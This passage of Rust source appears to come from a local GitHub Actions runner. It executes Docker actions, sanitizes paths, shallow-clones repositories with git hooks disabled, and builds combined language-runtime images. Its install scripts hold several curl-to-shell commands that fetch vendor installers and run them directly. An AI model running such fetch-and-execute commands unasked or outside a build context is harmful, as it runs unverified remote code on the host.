1048    let mount_ctx = prepare_step_container_context(step_env, ctx.job_env, ctx.container_config);
1049    let volumes = mount_ctx.build_volumes(ctx.working_dir, container_workspace);
1050    let env_vars: Vec<(&str, &str)> = step_env
1051        .iter()
1052        .map(|(k, v)| (k.as_str(), v.as_str()))
1053        .collect();
1054
1055    wrkflw_logging::info(&format!(
1056        "Running Docker action '{}' with image '{}'",
1057        uses, image
1058    ));
1059
1060    // Determine container CMD: workflow `with.args` overrides action.yml `runs.args`.
1061    // If neither is specified, the image's built-in CMD takes effect.
1062    let effective_args: Vec<String> = if let Some(ref wa) = with_args_override {
1063        shlex::split(wa).ok_or_else(|| {
1064            ExecutionError::Execution(format!(
1065                "Failed to parse 'with.args' for action '{}': \
1066                 unmatched quote in {:?}",
1067                uses, wa
1068            ))
1069        })?
1070    } else {
1071        args
1072    };
1073    let args_refs: Vec<&str> = effective_args.iter().map(|s| s.as_str()).collect();
1074
1075    let output = ctx
1076        .runtime
1077        .run_container(
1078            &image,
1079            &args_refs,
1080            &env_vars,
1081            container_workspace,
1082            &volumes,
1083            entrypoint.as_deref(),
1084        )
1085        .await
1086        .map_err(|e| ExecutionError::Runtime(format!("{}", e)))?;
1087
1088    Ok(StepResult::new(
1089        step_name,
1090        if output.exit_code == 0 {
1091            StepStatus::Success
1092        } else {
1093            StepStatus::Failure
1094        },
1095        format!(
1096            "Exit code: {}\n{}\n{}",
1097            output.exit_code, output.stdout, output.stderr
1098        ),
1099    ))
1100}
1101
1102/// Sanitize a sub-path component from an action reference (e.g. `owner/repo/sub/path`).
1103///
1104/// Rejects any path component that is exactly `..` to prevent directory
1105/// traversal out of the cloned repository. Both `/` and `\` are treated
1106/// as separators for defense-in-depth (backslash paths are unlikely in
1107/// practice but could bypass a `/`-only check on Windows hosts).
1108fn sanitize_sub_path(raw: &str) -> Result<(), String> {
1109    if raw.contains('\0') {
1110        return Err("null byte not allowed in sub_path".to_string());
1111    }
1112    // Split on both forward and back slashes to catch Windows-style traversal.
1113    if raw.split(&['/', '\\'][..]).any(|c| c == "..") {
1114        return Err(format!("path traversal not allowed in sub_path: {}", raw));
1115    }
1116    Ok(())
1117}
1118
1119/// Sanitize a Dockerfile path from an action.yml `runs.image` field.
1120///
1121/// Strips the `docker://` prefix and leading slashes, then rejects any
1122/// path component that is exactly `..` to prevent directory traversal.
1123fn sanitize_dockerfile_rel(raw: &str) -> Result<String, String> {
1124    if raw.contains('\0') {
1125        return Err("null byte not allowed in Dockerfile path".to_string());
1126    }
1127    let trimmed = raw
1128        .trim_start_matches("docker://")
1129        .trim_start_matches('/')
1130        .trim_start_matches("./");
1131    if trimmed.is_empty() {
1132        return Err("empty Dockerfile path".to_string());
1133    }
1134    if trimmed.split(&['/', '\\'][..]).any(|c| c == "..") {
1135        return Err(format!("path traversal not allowed: {}", trimmed));
1136    }
1137    Ok(trimmed.to_string())
1138}
1139
1140/// Extract `runs.entrypoint` and `runs.args` from a parsed action.yml definition.
1141///
1142/// These fields allow Docker actions to override the image's default ENTRYPOINT
1143/// and provide arguments that are passed as CMD.
1144///
1145/// Returns an error if `runs.args` is a string with unmatched quotes, keeping
1146/// error handling consistent with how `with.args` is parsed at execution time.
1147fn extract_docker_runs_config(
1148    definition: Option<&serde_yaml::Value>,
1149) -> Result<(Option<String>, Vec<String>), String> {
1150    let runs = definition.and_then(|d| d.get("runs"));
1151
1152    let entrypoint = runs
1153        .and_then(|r| r.get("entrypoint"))
1154        .and_then(|v| v.as_str())
1155        .filter(|s| !s.is_empty())
1156        .map(|s| s.to_string());
1157
1158    let args = match runs.and_then(|r| r.get("args")) {
1159        Some(v) => {
1160            if let Some(seq) = v.as_sequence() {
1161                // args as a YAML sequence: ["--flag", "value"]
1162                seq.iter()
1163                    .map(|v| {
1164                        v.as_str().map(|s| s.to_string()).unwrap_or_else(|| {
1165                            // Coerce non-string values (int, bool, etc.) to strings,
1166                            // matching GitHub Actions behavior.
1167                            serde_yaml::to_string(v)
1168                                .unwrap_or_default()
1169                                .trim()
1170                                .to_string()
1171                        })
1172                    })
1173                    .collect()
1174            } else if let Some(s) = v.as_str() {
1175                // args as a single string: "hello world" → shell-tokenize
1176                shlex::split(s).ok_or_else(|| format!("unmatched quote in runs.args: {:?}", s))?
1177            } else {
1178                vec![]
1179            }
1180        }
1181        None => vec![],
1182    };
1183
1184    Ok((entrypoint, args))
1185}
1186
1187/// Shallow-clone a GitHub repository at a specific ref (branch, tag, or SHA).
1188///
1189/// For branch/tag refs, uses `git clone --depth 1 --branch <ref>`.
1190/// For SHA refs (40 hex chars), uses `git init` + `git fetch --depth 1` + `git checkout`.
1191///
1192/// Uses `tokio::process::Command` to avoid blocking the async runtime.
1193async fn shallow_clone(
1194    repo_url: &str,
1195    git_ref: &str,
1196    target_dir: &Path,
1197) -> Result<(), ExecutionError> {
1198    let is_sha = is_git_sha(git_ref);
1199
1200    // Disable git hooks for all operations — cloned repos are untrusted and
1201    // could contain malicious post-checkout / post-merge hooks.
1202    let no_hooks = ["-c", "core.hooksPath=/dev/null"];
1203
1204    if is_sha {
1205        // SHA refs can't use --branch; use init + fetch + checkout instead
1206        let init = tokio::process::Command::new("git")
1207            .args(no_hooks)
1208            .arg("init")
1209            .arg(target_dir)
1210            .stdout(std::process::Stdio::null())
1211            .stderr(std::process::Stdio::null())
1212            .status()
1213            .await
1214            .map_err(|e| ExecutionError::Execution(format!("Failed to execute git init: {}", e)))?;
1215        if !init.success() {
1216            return Err(ExecutionError::Execution(format!(
1217                "git init failed for {}",
1218                target_dir.display()
1219            )));
1220        }
1221
1222        let fetch = tokio::process::Command::new("git")
1223            .args(no_hooks)
1224            .arg("-C")
1225            .arg(target_dir)
1226            .arg("fetch")
1227            .arg("--depth")
1228            .arg("1")
1229            .arg("--")
1230            .arg(repo_url)
1231            .arg(git_ref)
1232            .stdout(std::process::Stdio::null())
1233            .stderr(std::process::Stdio::piped())
1234            .output()
1235            .await
1236            .map_err(|e| {
1237                ExecutionError::Execution(format!("Failed to execute git fetch: {}", e))
1238            })?;
1239        if !fetch.status.success() {
1240            let stderr = String::from_utf8_lossy(&fetch.stderr);
1241            return Err(ExecutionError::Execution(format!(
1242                "Failed to fetch {}@{}: {}",
1243                repo_url,
1244                git_ref,
1245                stderr.trim()
1246            )));
1247        }
1248
1249        let checkout = tokio::process::Command::new("git")
1250            .args(no_hooks)
1251            .arg("-C")
1252            .arg(target_dir)
1253            .arg("checkout")
1254            .arg("FETCH_HEAD")
1255            .stdout(std::process::Stdio::null())
1256            .stderr(std::process::Stdio::piped())
1257            .output()
1258            .await
1259            .map_err(|e| {
1260                ExecutionError::Execution(format!("Failed to execute git checkout: {}", e))
1261            })?;
1262        if !checkout.status.success() {
1263            let stderr = String::from_utf8_lossy(&checkout.stderr);
1264            return Err(ExecutionError::Execution(format!(
1265                "Failed to checkout FETCH_HEAD for {}@{}: {}",
1266                repo_url,
1267                git_ref,
1268                stderr.trim()
1269            )));
1270        }
1271    } else {
1272        // Branch/tag refs: standard shallow clone
1273        let output = tokio::process::Command::new("git")
1274            .args(no_hooks)
1275            .arg("clone")
1276            .arg("--depth")
1277            .arg("1")
1278            .arg("--single-branch")
1279            .arg("--branch")
1280            .arg(git_ref)
1281            .arg("--")
1282            .arg(repo_url)
1283            .arg(target_dir)
1284            .stdout(std::process::Stdio::null())
1285            .stderr(std::process::Stdio::piped())
1286            .output()
1287            .await
1288            .map_err(|e| ExecutionError::Execution(format!("Failed to execute git: {}", e)))?;
1289        if !output.status.success() {
1290            let stderr = String::from_utf8_lossy(&output.stderr);
1291            return Err(ExecutionError::Execution(format!(
1292                "Failed to clone {}@{}: {}",
1293                repo_url,
1294                git_ref,
1295                stderr.trim()
1296            )));
1297        }
1298    }
1299
1300    Ok(())
1301}
1302
1303/// Returns `true` if `git_ref` looks like a full SHA-1 hex hash (40 hex chars).
1304///
1305/// NOTE: This only detects SHA-1 (40 hex chars). Git's SHA-256 transition uses
1306/// 64-char hashes — update this check if/when GitHub adopts SHA-256 refs.
1307fn is_git_sha(git_ref: &str) -> bool {
1308    git_ref.len() == 40 && git_ref.chars().all(|c| c.is_ascii_hexdigit())
1309}
1310
1311/// Determine the appropriate Docker image for a GitHub action.
1312///
1313/// Setup actions (from the `SETUP_ACTIONS` table) use the act runner base image
1314/// so that runtimes installed by the combined image build remain available.
1315/// Other well-known actions use exact-match or namespace-prefix matching.
1316fn determine_action_image(repository: &str) -> String {
1317    // Known setup actions run on the base runner image; their runtimes are
1318    // installed via resolve_runner_image's combined image build.
1319    if SETUP_ACTIONS.iter().any(|d| d.repos.contains(&repository)) {
1320        return "catthehacker/ubuntu:act-latest".to_string();
1321    }
1322
1323    match repository {
1324        // Docker/container actions (namespace prefix)
1325        repo if repo.starts_with("docker/") => "docker:latest".to_string(),
1326
1327        // AWS actions (namespace prefix)
1328        repo if repo.starts_with("aws-actions/") => "amazon/aws-cli:latest".to_string(),
1329
1330        // Core GitHub actions that need a full environment
1331        "actions/checkout"
1332        | "actions/upload-artifact"
1333        | "actions/download-artifact"
1334        | "actions/cache" => "catthehacker/ubuntu:act-latest".to_string(),
1335
1336        // Default to Node.js for other actions
1337        _ => "node:20-slim".to_string(),
1338    }
1339}
1340
1341/// A runtime detected from a setup action step (e.g., `actions/setup-node@v3`).
1342struct SetupRuntime {
1343    /// Language identifier (e.g., "node", "php", "python")
1344    language: String,
1345    /// Sanitized version string (e.g., "20", "8.2")
1346    version: String,
1347    /// Shell commands to install this runtime on an Ubuntu base image
1348    install_script: String,
1349}
1350
1351/// Definition of a known setup action for runtime detection.
1352///
1353/// Used by both `detect_setup_runtimes` (to build combined images) and
1354/// `determine_action_image` (to select per-step images), keeping the two
1355/// in sync automatically.
1356struct SetupActionDef {
1357    /// Repository names that map to this runtime (exact match, no @version suffix).
1358    repos: &'static [&'static str],
1359    /// The `with:` key that specifies the version.
1360    with_key: &'static str,
1361    /// Default version when no `with:` key is provided.
1362    default_version: &'static str,
1363    /// Language identifier used in install scripts and image tags.
1364    language: &'static str,
1365    /// If true, fall back to the @ref from the `uses:` field when no `with:` key is set.
1366    /// Used by `dtolnay/rust-toolchain` which encodes the toolchain in the ref.
1367    version_from_ref: bool,
1368}
1369
1370const SETUP_ACTIONS: &[SetupActionDef] = &[
1371    SetupActionDef {
1372        repos: &["actions/setup-node"],
1373        with_key: "node-version",
1374        default_version: "20",
1375        language: "node",
1376        version_from_ref: false,
1377    },
1378    SetupActionDef {
1379        repos: &["shivammathur/setup-php"],
1380        with_key: "php",
1381        default_version: "8.2",
1382        language: "php",
1383        version_from_ref: false,
1384    },
1385    SetupActionDef {
1386        repos: &["actions/setup-python"],
1387        with_key: "python-version",
1388        default_version: "3.11",
1389        language: "python",
1390        version_from_ref: false,
1391    },
1392    SetupActionDef {
1393        repos: &["actions/setup-go"],
1394        with_key: "go-version",
1395        default_version: "1.21",
1396        language: "go",
1397        version_from_ref: false,
1398    },
1399    SetupActionDef {
1400        repos: &["actions/setup-java"],
1401        with_key: "java-version",
1402        default_version: "17",
1403        language: "java",
1404        version_from_ref: false,
1405    },
1406    SetupActionDef {
1407        repos: &["actions/setup-dotnet"],
1408        with_key: "dotnet-version",
1409        default_version: "7.0",
1410        language: "dotnet",
1411        version_from_ref: false,
1412    },
1413    SetupActionDef {
1414        repos: &["actions-rs/toolchain", "dtolnay/rust-toolchain"],
1415        with_key: "toolchain",
1416        default_version: "stable",
1417        language: "rust",
1418        version_from_ref: true,
1419    },
1420];
1421
1422/// Check that a version string contains only safe characters (alphanumeric, dots, hyphens, underscores).
1423fn is_safe_version(version: &str) -> bool {
1424    !version.is_empty()
1425        && version
1426            .chars()
1427            .all(|c| c.is_alphanumeric() || c == '.' || c == '-' || c == '_')
1428}
1429
1430/// Scan job steps for known setup actions and return the runtimes they configure.
1431///
1432/// If the same language appears multiple times, only the last occurrence is kept
1433/// (matching GitHub Actions behavior where later setup steps override earlier ones).
1434fn detect_setup_runtimes(steps: &[Step]) -> Vec<SetupRuntime> {
1435    let mut runtimes: Vec<SetupRuntime> = Vec::new();
1436
1437    for step in steps {
1438        let uses = match &step.uses {
1439            Some(u) => u,
1440            None => continue,
1441        };
1442
1443        // Split "actions/setup-node@v3" into ("actions/setup-node", Some("v3"))
1444        let (repo, git_ref) = match uses.split_once('@') {
1445            Some((r, v)) => (r, Some(v)),
1446            None => (uses.as_str(), None),
1447        };
1448
1449        let def = match SETUP_ACTIONS.iter().find(|d| d.repos.contains(&repo)) {
1450            Some(d) => d,
1451            None => continue,
1452        };
1453
1454        let with = step.with.as_ref();
1455        let ver = with
1456            .and_then(|w| w.get(def.with_key))
1457            .cloned()
1458            .or_else(|| {
1459                // Some actions encode the version in the @ref (e.g., dtolnay/rust-toolchain@nightly).
1460                // Skip bare git SHAs — they pin the action version, not the toolchain.
1461                if def.version_from_ref {
1462                    git_ref.filter(|r| !is_git_sha(r)).map(|r| r.to_string())
1463                } else {
1464                    None
1465                }
1466            })
1467            .unwrap_or_else(|| def.default_version.to_string());
1468
1469        // Normalize trailing ".x" suffix (e.g., "16.x" -> "16") so it doesn't
1470        // leak into install scripts for languages that don't expect it.
1471        let ver = if ver.ends_with(".x") {
1472            ver[..ver.len() - 2].to_string()
1473        } else {
1474            ver
1475        };
1476
1477        if !is_safe_version(&ver) {
1478            wrkflw_logging::warning(&format!(
1479                "Ignoring {} with invalid version: {:?}",
1480                def.language, ver
1481            ));
1482            continue;
1483        }
1484
1485        let rt = SetupRuntime {
1486            language: def.language.to_string(),
1487            version: ver.clone(),
1488            install_script: get_install_script(def.language, &ver),
1489        };
1490
1491        // Deduplicate: later setup steps override earlier ones for the same language
1492        let existing_idx = runtimes.iter().position(|r| r.language == rt.language);
1493        if let Some(idx) = existing_idx {
1494            runtimes[idx] = rt;
1495        } else {
1496            runtimes.push(rt);
1497        }
1498    }
1499
1500    runtimes
1501}
1502
1503/// Return shell commands that install a language runtime on an Ubuntu base image.
1504fn get_install_script(language: &str, version: &str) -> String {
1505    match language {
1506        "node" => {
1507            // Strip .x suffix for nodesource URL (e.g., "16.x" -> "16")
1508            let major = version.split('.').next().unwrap_or(version);
1509            format!(
1510                "curl -fsSL https://deb.nodesource.com/setup_{}.x | bash - && apt-get install -y nodejs",
1511                major
1512            )
1513        }
1514        "php" => {
1515            format!(
1516                "apt-get install -y software-properties-common && \
1517                 add-apt-repository -y ppa:ondrej/php && apt-get update && \
1518                 apt-get install -y php{ver}-cli php{ver}-mbstring php{ver}-xml php{ver}-curl unzip && \
1519                 curl -sS https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer",
1520                ver = version
1521            )
1522        }
1523        "python" => {
1524            format!(
1525                "apt-get install -y software-properties-common && \
1526                 add-apt-repository -y ppa:deadsnakes/ppa && apt-get update && \
1527                 apt-get install -y python{ver} python{ver}-venv && \
1528                 ln -sf /usr/bin/python{ver} /usr/bin/python && \
1529                 ln -sf /usr/bin/python{ver} /usr/bin/python3 && \
1530                 curl -sS https://bootstrap.pypa.io/get-pip.py | python{ver}",
1531                ver = version
1532            )
1533        }
1534        "go" => {
1535            format!(
1536                "ARCH=$(dpkg --print-architecture || echo amd64) && \
1537                 curl -fsSL https://go.dev/dl/go{}.linux-${{ARCH}}.tar.gz | tar -C /usr/local -xz && \
1538                 ln -s /usr/local/go/bin/go /usr/bin/go",
1539                version
1540            )
1541        }
1542        "java" => {
1543            format!(
1544                "apt-get install -y wget apt-transport-https gpg && \
1545                 wget -qO - https://packages.adoptium.net/artifactory/api/gpg/key/public | gpg --dearmor -o /usr/share/keyrings/adoptium.gpg && \
1546                 echo 'deb [signed-by=/usr/share/keyrings/adoptium.gpg] https://packages.adoptium.net/artifactory/deb $(cat /etc/os-release | grep UBUNTU_CODENAME | cut -d= -f2) main' > /etc/apt/sources.list.d/adoptium.list && \
1547                 apt-get update && apt-get install -y temurin-{}-jdk",
1548                version
1549            )
1550        }
1551        "dotnet" => {
1552            format!(
1553                "apt-get install -y wget && \
1554                 wget https://dot.net/v1/dotnet-install.sh -O /tmp/dotnet-install.sh && \
1555                 chmod +x /tmp/dotnet-install.sh && \
1556                 /tmp/dotnet-install.sh --channel {} --install-dir /usr/share/dotnet && \
1557                 ln -s /usr/share/dotnet/dotnet /usr/bin/dotnet",
1558                version
1559            )
1560        }
1561        "rust" => {
1562            format!(
1563                "curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y --default-toolchain {} && \
1564                 . $HOME/.cargo/env && \
1565                 ln -s $HOME/.cargo/bin/* /usr/local/bin/",
1566                version
1567            )
1568        }
1569        _ => String::new(),
1570    }
1571}
1572
1573/// Generate a Dockerfile that installs multiple language runtimes on an Ubuntu base.
1574///
1575/// Extracted as a pure function so the output can be unit-tested without Docker.
1576fn generate_combined_dockerfile(runtimes: &[SetupRuntime], base_image: &str) -> String {
1577    let mut dockerfile = format!("FROM {}\n", base_image);
1578
1579    // Combine base packages and all runtime install scripts into a single
1580    // RUN directive so there is only one `apt-get update` call and the Docker
1581    // layer cache works as a single unit.
1582    let scripts: Vec<&str> = runtimes
1583        .iter()
1584        .filter(|rt| !rt.install_script.is_empty())
1585        .map(|rt| rt.install_script.as_str())
1586        .collect();
1587
1588    dockerfile.push_str("RUN apt-get update && \\\n");
1589    dockerfile.push_str(
1590        "    apt-get install -y --no-install-recommends curl bash git ca-certificates gnupg",
1591    );
1592
1593    for script in &scripts {
1594        dockerfile.push_str(" && \\\n");
1595        dockerfile.push_str(&format!("    {}", script));
1596    }
1597
1598    dockerfile.push_str(" && \\\n    rm -rf /var/lib/apt/lists/*\n");
1599
1600    dockerfile
1601}
1602
1603/// FNV-1a hash — deterministic across Rust toolchain versions, unlike `DefaultHasher`.
1604fn fnv1a_hash(data: &[u8]) -> u64 {
1605    const FNV_OFFSET_BASIS: u64 = 14695981039346656037;
1606    const FNV_PRIME: u64 = 1099511628211;
1607    let mut hash = FNV_OFFSET_BASIS;
1608    for &byte in data {
1609        hash ^= byte as u64;
1610        hash = hash.wrapping_mul(FNV_PRIME);
1611    }
1612    hash
1613}
1614
1615/// Build a deterministic image tag from the Dockerfile content.
1616///
1617/// Includes a hash of the full Dockerfile so that changes to install scripts
1618/// (e.g., updated URLs) invalidate the cache even when language/version pairs
1619/// are unchanged.  Uses FNV-1a rather than `DefaultHasher` so the tag is
1620/// stable across Rust toolchain upgrades.
1621fn combined_image_tag(runtimes: &[SetupRuntime], dockerfile: &str) -> String {
1622    let mut tag_parts: Vec<String> = runtimes
1623        .iter()
1624        .map(|r| format!("{}{}", r.language, r.version))
1625        .collect();
1626    tag_parts.sort();
1627
1628    let hash = fnv1a_hash(dockerfile.as_bytes());
1629
1630    format!(
1631        "{}{}-{:x}",
1632        COMBINED_IMAGE_PREFIX,
1633        tag_parts.join("-"),
1634        hash
1635    )
1636}
1637
1638/// Build a Docker image that combines multiple language runtimes on an Ubuntu base.
1639///
1640/// Skips the build when an image with the same tag already exists locally,
1641/// avoiding redundant work on repeated runs.
1642async fn build_combined_runtime_image(
1643    runtimes: &[SetupRuntime],
1644    base_image: &str,
1645    runtime: &dyn ContainerRuntime,
1646) -> Result<String, ExecutionError> {
1647    let dockerfile = generate_combined_dockerfile(runtimes, base_image);
1648    let tag = combined_image_tag(runtimes, &dockerfile);
1649
1650    // Skip the build if the image already exists locally.
1651    let exists = runtime.image_exists(&tag).await.map_err(|e| {
1652        ExecutionError::Runtime(format!("Failed to check for existing image: {}", e))
1653    })?;
1654    if exists {
1655        wrkflw_logging::info(&format!("Reusing existing combined runtime image: {}", tag));
1656        return Ok(tag);
1657    }
1658
1659    let temp_dir = tempfile::tempdir().map_err(|e| {
1660        ExecutionError::Execution(format!("Failed to create temp directory: {}", e))
1661    })?;
1662
1663    let dockerfile_path = temp_dir.path().join("Dockerfile");
1664    std::fs::write(&dockerfile_path, &dockerfile)
1665        .map_err(|e| ExecutionError::Execution(format!("Failed to write Dockerfile: {}", e)))?;
1666
1667    wrkflw_logging::info(&format!(
1668        "Building combined runtime image with: {}",
1669        runtimes
1670            .iter()
1671            .map(|r| r.language.as_str())
1672            .collect::<Vec<_>>()
1673            .join(", ")
1674    ));
1675
1676    runtime
1677        .build_image(&dockerfile_path, &tag, temp_dir.path())
1678        .await
1679        .map_err(|e| {
1680            ExecutionError::Runtime(format!("Failed to build combined runtime image: {}", e))
1681        })?;
1682
1683    Ok(tag)
1684}
1685
1686/// Determine the effective runner image for a job, taking setup actions into account.
1687///
1688/// If the job has an explicit `container:` config, that takes precedence.
1689/// Otherwise, scans steps for setup actions and builds a combined image that
1690/// installs the detected runtimes on top of the runner base image (which
1691/// includes git and other tools needed by actions like `actions/checkout`).
1692async fn resolve_runner_image(
1693    job: &Job,
1694    runtime: &dyn ContainerRuntime,
1695) -> Result<String, ExecutionError> {
1696    let base_image = get_effective_runner_image(job);
1697
1698    if job.container.is_some() {
1699        return Ok(base_image);
1700    }
1701
1702    let setup_runtimes = detect_setup_runtimes(&job.steps);
1703    if setup_runtimes.is_empty() {
1704        Ok(base_image)
1705    } else {
1706        // Always build a combined image on the runner base so that essential
1707        // tools (git, curl, etc.) remain available for actions like checkout.
1708        build_combined_runtime_image(&setup_runtimes, &base_image, runtime).await
1709    }
1710}
1711
1712#[allow(clippy::too_many_arguments)]
1713async fn execute_job_batch(
1714    jobs: &[String],
1715    workflow: &WorkflowDefinition,
1716    runtime: &dyn ContainerRuntime,
1717    env_context: &HashMap<String, String>,
1718    user_env: &HashMap<String, String>,
1719    verbose: bool,
1720    secret_manager: Option<&SecretManager>,
1721    secret_masker: Option<&SecretMasker>,
1722    all_job_outputs: &HashMap<String, HashMap<String, String>>,
1723    all_job_results: &HashMap<String, String>,
1724    artifact_store: &crate::artifacts::ArtifactStore,
1725    cache_store: &crate::cache::CacheStore,
1726) -> Result<Vec<JobResult>, ExecutionError> {
1727    // Execute jobs in parallel
1728    let futures = jobs.iter().map(|job_name| {
1729        execute_job_with_matrix(
1730            job_name,
1731            workflow,
1732            runtime,
1733            env_context,
1734            user_env,
1735            verbose,
1736            secret_manager,
1737            secret_masker,
1738            all_job_outputs,
1739            all_job_results,
1740            artifact_store,
1741            cache_store,
1742        )
1743    });
1744    // NOTE: execute_job_batch and execute_job_with_matrix retain their argument
1745    // lists because they sit at the boundary between per-run state (stores)
1746    // and per-job state (needs context, secrets). JobServices is constructed
1747    // per-job inside execute_job_with_matrix after resolving secrets.
1748
1749    let result_arrays = future::join_all(futures).await;
1750
1751    // Flatten the results from all jobs and their matrix combinations
1752    let mut results = Vec::new();
1753    for result_array in result_arrays {
1754        match result_array {
1755            Ok(job_results) => results.extend(job_results),
1756            Err(e) => return Err(e),
1757        }
1758    }
1759
1760    Ok(results)
1761}
1762
1763// Before execute_job_with_matrix implementation, add this struct
1764struct JobExecutionContext<'a> {
1765    job_name: &'a str,
1766    workflow: &'a WorkflowDefinition,
1767    runtime: &'a dyn ContainerRuntime,
1768    env_context: &'a HashMap<String, String>,
1769    /// Workflow-level user-declared env only (runner-seeded vars excluded).
1770    /// Consumed by `toJSON(env)` downstream. See `ExpressionContext::user_env`.
1771    user_env: &'a HashMap<String, String>,
1772    verbose: bool,
1773    services: JobServices<'a>,
1774}
1775
1776/// Execute a job, expanding matrix if present
1777#[allow(clippy::too_many_arguments)]
1778async fn execute_job_with_matrix(
1779    job_name: &str,
1780    workflow: &WorkflowDefinition,
1781    runtime: &dyn ContainerRuntime,
1782    env_context: &HashMap<String, String>,
1783    user_env: &HashMap<String, String>,
1784    verbose: bool,
1785    secret_manager: Option<&SecretManager>,
1786    secret_masker: Option<&SecretMasker>,
1787    all_job_outputs: &HashMap<String, HashMap<String, String>>,
1788    all_job_results: &HashMap<String, String>,
1789    artifact_store: &crate::artifacts::ArtifactStore,
1790    cache_store: &crate::cache::CacheStore,
1791) -> Result<Vec<JobResult>, ExecutionError> {
1792    // NOTE: This function still has many arguments because it sits at the boundary
1793    // between per-run state (artifact_store, cache_store) and per-job state (needs
1794    // context, secrets). It constructs JobServices internally after resolving secrets.
1795    // Get the job definition
1796    let job = workflow.jobs.get(job_name).ok_or_else(|| {
1797        ExecutionError::Execution(format!("Job '{}' not found in workflow", job_name))
1798    })?;
1799
1800    // Evaluate job condition if present
1801    if let Some(if_condition) = &job.if_condition {
1802        let should_run = evaluate_job_condition(if_condition, env_context, user_env, workflow);
1803        if !should_run {
1804            wrkflw_logging::info(&format!(
1805                "{} Skipping job '{}' due to condition: {}",
1806                wrkflw_logging::symbols::SKIPPED,
1807                job_name,
1808                if_condition
1809            ));
1810            // Return a skipped job result
1811            return Ok(vec![JobResult {
1812                name: job_name.to_string(),
1813                canonical_name: job_name.to_string(),
1814                status: JobStatus::Skipped,
1815                steps: Vec::new(),
1816                logs: String::new(),
1817                outputs: HashMap::new(),
1818            }]);
1819        }
1820    }
1821
1822    // Build filtered needs context for this job (only jobs declared in `needs:`)
1823    let (needs_ctx, needs_res) = build_needs_context(job, all_job_outputs, all_job_results);
1824
1825    // Pre-resolve secrets once for this job (shared across matrix combinations and non-matrix path)
1826    let secrets_context: HashMap<String, String> = if let Some(secret_mgr) = secret_manager {
1827        resolve_secrets_for_context(secret_mgr, job).await
1828    } else {
1829        HashMap::new()
1830    };
1831
1832    // Check if this is a matrix job
1833    if let Some(matrix_config) = job.matrix_config() {
1834        // Expand the matrix into combinations
1835        let combinations = wrkflw_matrix::expand_matrix(matrix_config)
1836            .map_err(|e| ExecutionError::Execution(format!("Failed to expand matrix: {}", e)))?;
1837
1838        if combinations.is_empty() {
1839            wrkflw_logging::info(&format!(
1840                "Matrix job '{}' has no valid combinations",
1841                job_name
1842            ));
1843            // Return empty result for jobs with no valid combinations
1844            return Ok(Vec::new());
1845        }
1846
1847        wrkflw_logging::info(&format!(
1848            "Matrix job '{}' expanded to {} combinations",
1849            job_name,
1850            combinations.len()
1851        ));
1852
1853        // Set maximum parallel jobs
1854        let max_parallel = job.max_parallel().unwrap_or_else(|| {
1855            // If not specified, use a reasonable default based on CPU cores
1856            std::cmp::max(1, num_cpus::get())
1857        });
1858
1859        let services = JobServices {
1860            secret_manager,
1861            secret_masker,
1862            secrets_context: &secrets_context,
1863            needs_context: &needs_ctx,
1864            needs_results: &needs_res,
1865            artifact_store,
1866            cache_store,
1867        };
1868
1869        // Execute matrix combinations
1870        execute_matrix_combinations(MatrixExecutionContext {
1871            job_name,
1872            job_template: job,
1873            combinations: &combinations,
1874            max_parallel,
1875            fail_fast: job.fail_fast(),
1876            workflow,
1877            runtime,
1878            env_context,
1879            user_env,
1880            verbose,
1881            services,
1882        })
1883        .await
1884    } else {
1885        // Regular job, no matrix
1886        let services = JobServices {
1887            secret_manager,
1888            secret_masker,
1889            secrets_context: &secrets_context,
1890            needs_context: &needs_ctx,
1891            needs_results: &needs_res,
1892            artifact_store,
1893            cache_store,
1894        };
1895        let ctx = JobExecutionContext {
1896            job_name,
1897            workflow,
1898            runtime,
1899            env_context,
1900            user_env,
1901            verbose,
1902            services,
1903        };
1904        let result = execute_job(ctx).await?;
1905        Ok(vec![result])
1906    }
1907}
1908
1909#[allow(unused_variables, unused_assignments)]
1910async fn execute_job(ctx: JobExecutionContext<'_>) -> Result<JobResult, ExecutionError> {
1911    // Get job definition
1912    let job = ctx.workflow.jobs.get(ctx.job_name).ok_or_else(|| {
1913        ExecutionError::Execution(format!("Job '{}' not found in workflow", ctx.job_name))
1914    })?;
1915
1916    // Handle reusable workflow jobs (job-level 'uses')
1917    if let Some(uses) = &job.uses {
1918        return execute_reusable_workflow_job(&ctx, uses, job.with.as_ref(), job.secrets.as_ref())
1919            .await;
1920    }
1921
1922    // Clone context and add job-specific variables.
1923    // `job_env` is the full lookup map (runner + user union); `job_user_env`
1924    // mirrors only the user-declared slice for `toJSON(env)`.
1925    let mut job_env = ctx.env_context.clone();
1926    let mut job_user_env = ctx.user_env.clone();
1927
1928    // Add container-level environment variables (lowest precedence).
1929    // Container env is user-declared (jobs.<id>.container.env in YAML) — mirror
1930    // into job_user_env. Skip keys already present (`.entry().or_insert`).
1931    if let Some(ref container) = job.container {
1932        warn_unsupported_container_fields(container);
1933        for (key, value) in &container.env {
1934            if !job_env.contains_key(key) {
1935                job_env.insert(key.clone(), value.clone());
1936                job_user_env.insert(key.clone(), value.clone());
1937            }
1938        }
1939    }
1940
1941    // Add job-level environment variables (overrides container env).
1942    for (key, value) in &job.env {
1943        job_env.insert(key.clone(), value.clone());
1944        job_user_env.insert(key.clone(), value.clone());
1945    }
1946
1947    // Add job-specific context (runner-internal — GITHUB_JOB; not user env)
1948    environment::add_job_context(&mut job_env, ctx.job_name);
1949
1950    // Create a temporary directory for this job execution
1951    let job_dir = tempfile::tempdir()
1952        .map_err(|e| ExecutionError::Execution(format!("Failed to create job directory: {}", e)))?;
1953
1954    // Get the current project directory
1955    let current_dir = std::env::current_dir().map_err(|e| {
1956        ExecutionError::Execution(format!("Failed to get current directory: {}", e))
1957    })?;
1958
1959    wrkflw_logging::info(&format!("Executing job: {}", ctx.job_name));
1960
1961    let mut job_success = true;
1962
1963    // Execute job steps
1964    // Determine runner image: prefer job container, then detect setup actions, fall back to runs-on
1965    let runner_image_value = resolve_runner_image(job, ctx.runtime).await?;
1966
1967    // GHA default job timeout is 360 minutes; sanitize to avoid panic on negative/NaN
1968    let timeout_mins = sanitize_timeout_minutes(job.timeout_minutes, 360.0);
1969    let job_timeout = std::time::Duration::from_secs_f64(timeout_mins * 60.0);
1970
1971    let mut loop_state = StepLoopState::new();
1972    let pending_cache_saves = std::sync::Mutex::new(Vec::<PendingCacheSave>::new());
1973
1974    let job_deadline = tokio::time::Instant::now() + job_timeout;
1975
1976    for (idx, step) in job.steps.iter().enumerate() {
